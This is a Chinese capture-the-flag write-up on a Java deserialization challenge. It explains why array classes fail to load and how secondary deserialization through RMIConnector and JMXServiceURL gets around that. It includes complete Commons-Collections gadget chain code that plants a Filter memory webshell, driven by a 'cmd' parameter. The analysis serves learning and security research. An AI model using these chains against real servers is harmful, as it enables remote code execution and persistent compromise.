0x01 前言

鸽了很久的题目,之前就下载附件分析过,但是当时没有学太多java的东西,复现的时候啥都不懂,很难进行下去。现在打算重新捡起这道题,这道java题的质量很高,于是就写下此篇文章记录一下本题复现与分析的过程。

0x02 题目源码分析

题目有源码附件,控制器中只定义了一个路由

显而易见的反序列化入口,有一个if判断,这不成问题,只需要在序列化流添加这个字符串和数字就行。

但是它自己重写了一个输入流,我们跟进看一下

在构造方法中获取了一个 URLClassLoader 的类加载器

在 resolveClass 这个类解析方法中用 URLClassLoader 类加载器 调用 loadClass 方法进行加载。在pom.xml中有 commons-collections 的依赖可以打。

0x03 loadClass无法加载数组类的相关分析

在学习shiro框架的时候,实际上 CC6 是打不了的,至于为什么,我当时也只是浅浅的了解到 shiro框架自己重写了一个序列化器,不能解析数组,然后构造了一条能用的组合的cc链。但是我现在回头看,发现了一个问题

在利用类加载代码执行的cc链中,是有数组类的啊,为什么还能够被加载?

接下来调试源码分析这个问题

翻开shiro框架的源码,shiro使用默认的序列化器——DefaultSerializer 在它的反序列化函数中

重写了一个输入流

是用 ClassUtils 类的 forName 函数进行加载。将断点下载 resolveClass 函数里,开始调试

我们跟进到 forName 方法

它利用当前上下文的类加载器进行加载,跟进 loadClass 方法,现在要加载的就是 HashMap

它又获取了一个 ParallelWebappClassLoader ,它是 tomcat 中使用的,用于加载当前web应用程序的类加载器,继续跟进 loadClass 方法

我也不知道调试出什么问题了,强制步入跟进不到此方法中,全局搜索也搜不到,于是就网上视频里截了一张

知道这个点就行,这也不算安全方面的知识了。有个布尔变量,如果为true,那么就会用父类的Class.forName去加载类,forName 当然是可以加载数组的,因为它是原生的 ObjectInputStream 加载类的方法

false的话就会用findClass来加载类。

就是说,如果要加载的类是JDK内置的类,走的就是父类类加载器的 forName 方法,如果加载的类是 webapp下的类或者是导入的依赖类,就会用WebappClassLoader 类加载器用 findClass 来加载

findClass 方法是加载不了数组类的,这也证实了上面提出的疑问了。

跟进 findClass 方法看看,为什么不能加载数组类

这里会做一个路径的转换,

如果将这个类转换为带路径的class文件的话,显然是加载不到的,因为根本就没有这个路径,这也是加载不到数组类的真正原因。

0x04 题目分析

说了这么多其实就是解释 LoadClass 方法最终会走到 findClass,是加载不了数组类的

题目中直接调用 LoadClass,那么就是所有的数组类包括JDK里面的都加载不了,这也是本题最难的点

我们就可以利用二次反序列化,将受限的反序列化变成不受限的反序列化

因为数组类不能用了,所以 InvokerTransformer 类要调用的方法必须是public,而且能够走到可控的 readObject 方法中的,一般来说,需要利用一个代码分析工具,比如 codeql。但是我不会用,所以本次以复现的角度来分析这道题。

在 findRMIServerJRMP 方法中有可控的反序列化点,继续往上找,看看谁调用了它

获得一个路径,路径中必须存在 /stub/ 这个方法传递的是 JMXServiceURL 实例,从这个实例中调用 getURLPath 方法,获取 urlPath 属性,该属性是通过构造方法写入的。所以我们需要构造一个合理路径的 JMXServiceURL 实例,才能满足条件走到 findRMIServerJRMP 方法里

继续往上跟,看看谁调用了 findRMIServer 方法,最终跟踪到 connect 方法,它是一个public 方法,可以利用 InvokerTransformer 类来调用,链子就接上了。

0x05 思路总结

因为本题目不能加载数组类,所有的CC链都打不了,所以得使用二次反序列化来打一个不受限的反序列化,因为题目中是不出网的,所以需要打入内存马。

首先,魔改CC链的执行的地方,将它走到二次反序列化。

然后再写一个原生的CC链用于打入内存马,将该链base64编码写入 urlPath 属性 属性中。

0x06 题目复现

用于打入内存马的CC链

public class CCExp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "aaaa");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/FilterMenshell.class"));
byte[][] codes = {code};
bytecodes.set(templates, codes);
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
HashMap<Object, Object> map = new HashMap<Object, Object>();
Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
HashMap<Object, Object> map2 = new HashMap<>();
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
map2.put(tiedMapEntry, "bbb");
map.remove(templates);
Class cl = LazyMap.class;
Field fieldfactory = cl.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap, invokerTransformer);
serialize(map2);
}

加载的 Class 文件就是我们编写的 Filter 内存马

序列化写入二进制文件,利用python脚本base64编码。

将编码后的base串,写入path,注意格式,写出最终exp

public class exp {
public static void main(String[] args) throws Exception {

RMIConnector rmiConnector = (RMIConnector) getObject();

InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);

HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry, "bbb");
lazyMap.remove(rmiConnector);

Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("SJTU");
objectOutputStream.writeInt(1896);
objectOutputStream.writeObject(map2);
System.out.println(Utils.bytesTohexString(byteArrayOutputStream.toByteArray()));
}

public static Object getObject() throws Exception {

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:iiop:///stub/base串");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL,new HashMap());
return rmiConnector;
}
}

启动服务

运行EXP,将payload打入 /basic 路由,得用POST,get传不了这么多数据

看日志没有特殊报错,看来是写进去了

因为打入的是filter内存马,所以任何路由都能够执行命令,而我们执行命令的参数就是cmd

执行命令成功。

0x07 结语

这道题质量还是挺好的,复现完这道题后,理解了loadClass无法加载数组类的真正原因,以及二次反序列化的应用思路。后续还会找一些不错的java题来复现。